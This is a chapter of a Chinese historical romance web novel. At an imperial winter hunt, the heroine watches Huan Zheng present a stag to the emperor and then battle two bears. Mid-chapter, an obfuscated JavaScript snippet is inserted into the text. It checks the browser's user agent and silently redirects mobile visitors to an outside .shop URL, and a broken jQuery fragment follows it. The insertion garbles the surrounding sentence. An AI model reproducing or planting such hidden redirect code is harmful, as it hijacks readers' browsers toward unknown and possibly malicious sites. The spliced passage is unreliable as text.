元日当头,爆竹碎屑尚未扫尽,宫中便来了旨意。
宦官带了皇帝的口谕,说是皇帝龙体大好,又趁年节闲暇,要在皇家猎场设冬狩宴,邀朝中各位重臣前往禁苑围猎,亦是考校众世家子弟武艺之时,不得借故推脱,将军府自然也在受邀之列。
叶菱馥不会骑马,去了也只是吃喝,本欲同桓霆推脱。
可那宦官却说,皇后殿下听说桓霆和桓铮在外征战,为皇帝遍寻解药时,叶夫人在府中操持内外,独撑门户,指名要见一见她。
皇后开了金口,叶菱馥也不好推辞,怕在别人口中落一个不识抬举的名声。
桓铮在南边平叛一事的功劳虽然尽数给了秦昭,但南蛮毒药的解法毕竟是他寻到的,又有着辅国将军的名头,再加上桓霆官复原职,将军府如今一门两将,风光无两,更要处处小心。
围猎当日,桓霆和桓铮各自骑马,叶菱馥也随意穿了身衣裳,坐着将军府的马车,晃晃悠悠到了猎场。
下车前,她掀起门帘,便被眼前场面惊住。
她原以为禁苑不过是一片被圈起来的地界,谁知入目远处林地翻越连绵群山,近处营帐千百连接,锦旗招展,宫灯高悬,朝中大大小小的官员和亲眷们来了百余人。
桓铮要参加狩猎,早早去了马棚找马,叶菱馥被人扶下马车,拢了拢身上的貂裘,慢慢走到桓霆身侧。
“冷吗?”他随意问了句。
叶菱馥摇头,他便不再问,领着她踏雪朝御前走去。
皇帝精神好了不少,今日兴致极高,身边围满了宦官和宠妃,笑得开怀,皇后坐在他下首,也同旁边的嫔妃们说话。
叶菱馥之前只在圣辰当日,远远地看过皇帝一眼,这还是她第一回这么近地跪在皇帝面前,一时还有些紧张。
她跟在桓霆身后,回想着几个月的圣辰之前,嬷嬷教她的礼仪,磕了几个头。
皇帝只随意地看了她一眼,便继续就着宠妃的手喝酒,一旁的皇后对她注意颇丰。
皇后上下打量了叶菱馥一番,含笑道:“早听说桓公的夫人是个美人,上回圣辰远远的看不清,今日一见,果真名不虚传。”
叶菱馥微微躬身:“皇后殿下谬赞,妾愧不敢当。”
皇后又问了几句,无非就是些家常话,才叫婢女将叶菱馥扶起。
叶菱馥起身称谢,照着安排坐在女眷席位,乍然落入四下富贵气象,貂裘锦袍,珠围翠绕,衣香鬓影,笑语喧哗。
不知过去多久,皇帝总算被宦官们扶起,亲自发箭为号,众子弟们打马入场。
叶菱馥随着女眷们上了观猎台,视野开阔,她一眼便看到人群中心的桓铮。
他今日这行头实在打眼,银白劲装收束得当,袖口和领口处滚着墨色的云纹,腰带上挎着牛角弓,一只手攥着缰绳骑马,活动着受伤的半边肩膀,俨然一副要大显身手的样子。
“哎,那个便是桓家那位……”
“什么桓家那位,人家现在是辅国将军,陛下钦点呢。”
“他官职加身,才名在外,又长得这般俊美,为何还不娶妻?”
叶菱馥站在下风处,几个少女交谈的声音正好落入她耳中,听着议论的是桓铮。
果然,他这样的少年英才,在何处都会引人注目。
她看着桓铮的后脑,还没多想什么,桓铮便像身后长了眼睛似的回过来,仰起头,正同她四目相对。
桓铮嘴角微弯,目光笃定。
但还不等叶菱馥有什么反应,他便很快转回去,同身旁的人交谈。
仿佛他方才只是随意一瞥。
猎鼓擂响,号角长鸣,皇帝一声令下,众子弟策马入林,马蹄翻飞,将积雪和泥土踏得四下飞溅,烟尘滚滚。
“叶夫人第一回来,许是不知围猎规矩。”王夫人走到叶菱馥身侧,同她解释道,“两个时辰为限,以猎物数量及珍稀列名,拔得头筹者可得陛下赐酒,既是朝廷恩宠,更是世家荣耀。”
“原是如此,听着怪有意思,我瞧见你家阿窈也在猎手之中,属实没想到。”叶菱馥淡笑着回应。
“我家孩子多,闺女儿子们整日待在一处,从来没什么忌讳,女郎不必非得学着管家,郎君也不必非要习武,想做什么做什么便是。”王夫人解释道。
叶菱馥颔首,想起家中的桓婧。
她从前只想着让桓婧多学些管家的事,若是不想学便读书,却忽略了桓家是武将世家,桓婧或可习武,做一女将也未尝不可。
时辰慢慢过去,猎场深处不时传来犬吠声,惊起林中栖鸟,扑棱棱飞上半空,在灰白的云层下盘旋不去。
偶有猎手从林边飞驰而过,马背上挂着山鸡野兔之类的寻常货色,观猎台上的女眷们渐渐失了新鲜劲儿,又开始三三两两地凑在一起说闲话。
叶菱馥耐着性子应付了几个前来搭话的夫人,脸笑得发僵,索性坐回原处,拈起糕点送入嘴中。
忽然,几声喝彩引起众人注意。
叶菱馥抬头望去,只见一匹黑马从林中飞奔而出,马上的人一身银白衣衫,一手拽着缰绳驾马飞驰,另一手提着一件东西,轮廓极大,黑沉沉的一团。
待马匹跑近了些,在场的人才纷纷倒吸一口凉气。
来人正是桓铮,手里提着的竟是一头雄鹿,膘肥体壮,皮毛油光水滑。
桓铮银白的劲装上溅了几点血迹,衬得他面如冠玉,眉目如画。
他单手拎着鹿角,将整头鹿提在手中,却看不出半分吃力。
他两腿一夹马腹,直到观猎台前才猛地勒马。黑马长嘶一声,前蹄在空中划了个弧,重重落地。
桓铮翻身下马,动作行云流水,单膝跪地,朗声道:“臣桓铮献鹿陛下,愿陛下圣体安康,千秋万岁!”
皇帝龙心大悦,连声说了三个“好”字,又命人将那头雄鹿抬过来细看。
几个宦官跑过去,费了好大力气才将鹿抬到御前。
皇帝仔细端详了一番,这箭镞从左眼射入,贯穿头颅,一击毙命,鹿身其余部位完好无损,连鹿皮都未曾损伤分毫。
他“咦”了一声,问道:“这鹿身上只有一处箭伤?”
桓铮道:“是。”
此言一出,满场哗然,皇帝也不禁连连赞叹。
围猎的时辰未到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554099|202665||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,桓铮再度向皇帝行礼,翻身上马再度而去。
叶菱馥在观猎台上遥遥看着,手里的点心也忘了送进嘴里。
她坐在众多女眷中间,看着满场的文官武将朝他抱拳道贺,身边的名门夫人对他议论纷纷,没许人家的贵女们也纷纷红着脸偷偷打量。
桓铮这番献鹿,不仅是表现自己,更是向皇帝表明桓家的诚心。
而今他是全场焦点,所有人的目光都聚在他身上。
她早该知道,桓铮就是这样耀眼的人。
---
两个时辰过得飞快,不少人带着各自的猎物回到影帝,纷纷献礼。
猎场深处忽地传来一阵急促的马蹄声,几匹快马从林中飞驰而出,马背上的人高声呼喊,其中一人背上还见了血。
“有熊!辅国将军和熊缠斗起来了!”
观猎台上炸开了锅,叶菱馥攥紧了栏杆。
马匹一声长啼忽然在深林中炸响,众人纷纷望去,只见桓铮驾马疾驰,两头黑熊被惊扰了冬眠,狂性大发,正在他身后穷追不舍,挥舞着蒲扇般的熊掌朝马匹扑去。
“快!你们快去,务必牵制黑熊,保护桓铮!”原本窝在榻上的皇帝也不得不正色,高喝着命令进军。
桓铮这头却情况紧急,等不得禁军前来,只得自己同两头熊周旋。
他速度越来越快,上身趴下紧贴马背,侧身避过熊掌的挥击,反手一箭,瞬间射进一头熊的肩窝。
箭矢深入半尺,那头黑熊吃痛狂吼,愈发疯了一般朝他扑来,他不退反进,一夹马腹朝猎场深处冲去。
母熊果然追着他去了,庞大的身躯在雪地上拖出一道深深的沟痕。
“这是要做什么?怎么不躲开,反而靠过去了!”观景台上,王夫人吓得脸色煞白。
“他是要把两头熊分开,聚在一起不好对付。”周公站在她身侧,沉声安慰,“阿铮一定能应付来。”
叶菱馥在一旁听着,一颗心提到嗓子眼,那两头黑熊来势汹汹,她现在除了祈祷,什么也做不了。
果然如同周公所说,桓铮将其中一头熊支开后,猛地勒马回转,借着回旋的力道,弯弓搭箭一气呵成。
箭矢离弦,破空声尖锐啸响,正中黑熊左眼。
那头熊发出最后一声嘶吼,庞大的身躯轰然倒下,血液流了满地。
观猎台上鸦雀无声,片刻后,才有人长长地吐出一口气,接着便是此起彼伏的惊叹。
叶菱馥松开栏杆,这才发现,自己手心竟然全是汗。
桓铮慢慢放下弓,受伤的肩膀处有些僵硬,他稍微活动了两下,便有点点血迹透出衣衫。
他咬牙按了按那处。
本来精心换过药,想让叶菱馥放心,现在看来,怕是不行了。
桓铮没时间多想,策马返回。
另一头熊已经被禁军合力控制,可他们只是骑着马团团围住。
箭矢如雨,真正能扎进熊身要害的没有几支,多数都挂在熊皮上晃荡,不仅没能制住猎物,反倒激得它越发暴躁。
桓铮停在禁军包围之后,从箭囊中抽出最后一支箭,再度开弓。